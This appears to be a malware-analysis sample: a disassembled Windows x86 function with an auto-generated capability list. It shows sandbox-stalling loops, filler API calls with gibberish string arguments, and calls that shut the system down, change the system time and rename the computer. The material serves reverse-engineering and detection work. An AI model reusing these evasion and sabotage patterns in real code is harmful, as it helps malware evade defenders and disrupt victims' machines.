Function at 0x42bee0
Capabilities:
Accept command line arguments
Get common file path
Get system information on windows
Set thread local storage value
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1d20
call fcn.0040fca0
mov dword [ebp - 4], 0
jmp 0x42beff
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x32d05d76
jge 0x42bfb7
cmp dword [0x8dd51c], 0xfc
jne 0x42bf71
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
xor ecx, ecx
mov word [ebp - 0x78], cx
xor edx, edx
mov dword [ebp - 0x76], edx
mov dword [ebp - 0x72], edx
mov dword [ebp - 0x6e], edx
mov word [ebp - 0x6a], dx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
mov word [ebp - 0x60], ax
xor ecx, ecx
mov word [ebp - 0x5e], cx
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x60]
push eax
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
cmp dword [0x8dd51c], 0x5e4
jne 0x42bfa7
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push 0
lea eax, [ebp - 0x480]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
lea ecx, [ebp - 0x4c8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
cmp dword [ebp - 4], 0x9be51dc
jle 0x42bfb2
jmp 0x42bfb7
jmp 0x42bef6
push 0x443170
mov edx, dword [0x8dd51c]
push edx
mov eax, dword [0x8dc858]
push eax
call fcn.0042be50
mov dword [ebp - 0x4cc], 0
jmp 0x42bfe9
mov ecx, dword [ebp - 0x4cc]
add ecx, 1
mov dword [ebp - 0x4cc], ecx
cmp dword [ebp - 0x4cc], 0x3e7a3
jge 0x42c041
cmp dword [0x8dd51c], 0x10
jne 0x42c026
mov dword [ebp - 0x4d8], 0
mov dword [ebp - 0x4d4], 0
lea edx, [ebp - 0x4d0]
push edx
lea eax, [ebp - 0x4d8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
cmp dword [ebp - 0x4cc], 0x1e673
jne 0x42c03f
call fcn.0042b7a0
jmp 0x42bfda
mov dword [ebp - 0x4dc], 0
jmp 0x42c05c
mov ecx, dword [ebp - 0x4dc]
add ecx, 1
mov dword [ebp - 0x4dc], ecx
cmp dword [ebp - 0x4dc], 0xdd9a7
jge 0x42c098
cmp dword [0x8dd51c], 0xc01
jne 0x42c096
lea edx, [ebp - 0x4e0]
push edx
push str.dasecehidakarizadud_volayofekavixot_mowaro_yojejef_mayudinow
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
jmp 0x42c04d
call dword [0x8dc858]
cmp dword [0x8dd51c], 0x1144
jne 0x42c1b6
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
push 0
lea eax, [ebp - 0xce4]
push eax
lea ecx, [ebp - 0x1d18]
push ecx
lea edx, [ebp - 0x18fc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push 0
call dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
mov dword [ebp - 0x1d14], 0
xor eax, eax
mov dword [ebp - 0x1d10], eax
mov dword [ebp - 0x1d0c], eax
mov dword [ebp - 0x1d08], eax
mov dword [ebp - 0x1d04], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
lea ecx, [ebp - 0x10ec]
push ecx
lea edx, [ebp - 0x10e8]
push edx
push 0
push str.Verogoxubogavu_keja_dijemaw_fiyokiyef
push str.Junacev_hotuguf_dukenefiho
push str.Zuye
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push str.tijisixilijehogakus_hetekanonuyujahaxoz_wirenesa_secelobevogefoj_yonucizudecozosowu
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
lea eax, [ebp - 0x1d00]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea ecx, [ebp - 0x10f4]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea edx, [ebp - 0xce0]
push edx
push 0
push str.hoxifugiduzodupufapeyiku_sovociciyehibuxatubeduha_pedomobuxojekobiyone_kigopasocazarexi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
lea eax, [ebp - 0x10f0]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
lea ecx, [ebp - 0x18f8]
push ecx
push str.bihebecicakupalurijibefuj_serolulilacaduk
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
xor eax, eax
mov esp, ebp
pop ebp
ret